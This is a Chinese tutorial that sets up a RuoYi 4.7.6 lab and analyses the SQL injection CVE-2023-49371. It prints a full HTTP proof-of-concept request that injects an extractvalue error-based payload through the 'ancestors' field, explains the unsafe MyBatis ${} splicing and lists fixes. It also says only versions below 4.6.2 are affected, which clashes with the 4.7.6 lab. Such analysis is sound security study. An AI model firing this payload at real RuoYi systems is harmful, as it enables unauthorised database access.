【若依专题01】超详细的环境搭建教学+SQL注入漏洞分析
字数 1293 2025-08-23 18:31:24
若依(RuoYi)环境搭建与SQL注入漏洞分析(CVE-2023-49371)教学文档
一、环境搭建
1.1 下载若依系统
- 下载地址:https://github.com/yangzongzhuan/RuoYi/releases
- 本教程以4.7.6版本为例,其他版本安装方法类似
1.2 数据库准备
使用Docker启动MySQL服务(示例使用3307端口,因3306端口被占用):
docker run -d \
--name ruoyi4.7.6-mysql \
-e MYSQL_ROOT_PASSWORD=123456 \
-e MYSQL_DATABASE=ry \
-p 3307:3306 \
-v mysql-data:/var/lib/mysql \
mysql:8.0
1.3 数据库初始化
导入若依系统提供的SQL文件:
- 导入
RuoYi-4.7.6/sql/ry_20210924.sql - 导入
RuoYi-4.7.6/sql/quartz.sql
1.4 配置文件修改
-
数据库连接配置:
- 修改文件:
RuoYi-4.7.6/ruoyi-admin/src/main/resources/application-druid.yml - 更新数据库连接信息(主机、端口、用户名、密码等)
- 修改文件:
-
日志路径配置:
- 修改文件:
RuoYi-4.7.6/ruoyi-admin/src/main/resources/logback.xml - 将日志路径改为相对路径:
./logs
- 修改文件:
-
上传路径配置:
- 修改文件:
RuoYi-4.7.6/ruoyi-admin/src/main/resources/application.yml - 将上传路径改为相对路径
- 修改文件:
1.5 启动系统
- 使用IDEA打开项目
- 点击右上角运行按钮
- 启动成功后访问:http://your-ip/
二、SQL注入漏洞分析(CVE-2023-49371)
2.1 影响版本
- RuoYi < 4.6.2
2.2 漏洞探测与利用
POC示例:
POST /system/dept/edit HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 111
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role/edit/2
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0
DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user(
2.3 漏洞原理分析
-
MyBatis参数符号区别:
#:使用预编译向占位符中设置值,可有效防止SQL注入$:使用拼接SQL,是触发SQL注入的关键
-
漏洞定位:
- 查看
application.yml文件中的MyBatis配置 - 搜索
classpath*:mapper/**/*Mapper.xml中包含$的文件
- 查看
-
漏洞具体位置:
- 在
SysDeptMapper.xml配置文件中,发现${}包裹的ancestors参数存在SQL注入风险 - 完整SQL语句类似:
update sys_dept set status=x where dept_id in ${ancestors}
- 在
-
调用链分析:
- 查看
SysDeptMapper.xml文件开头 - 定位到Dao层的
com.ruoyi.system.mapper.SysDeptMapper类
- 查看
2.4 修复建议
- 升级到RuoYi 4.6.2或更高版本
- 将
$符号替换为#符号进行参数绑定 - 对用户输入进行严格的过滤和验证
三、总结
本教程详细介绍了若依(RuoYi)系统的环境搭建过程,包括数据库配置、文件修改和系统启动。同时深入分析了CVE-2023-49371 SQL注入漏洞的原理、利用方式和修复方法。开发人员应特别注意MyBatis中$符号的使用风险,避免直接拼接用户输入到SQL语句中。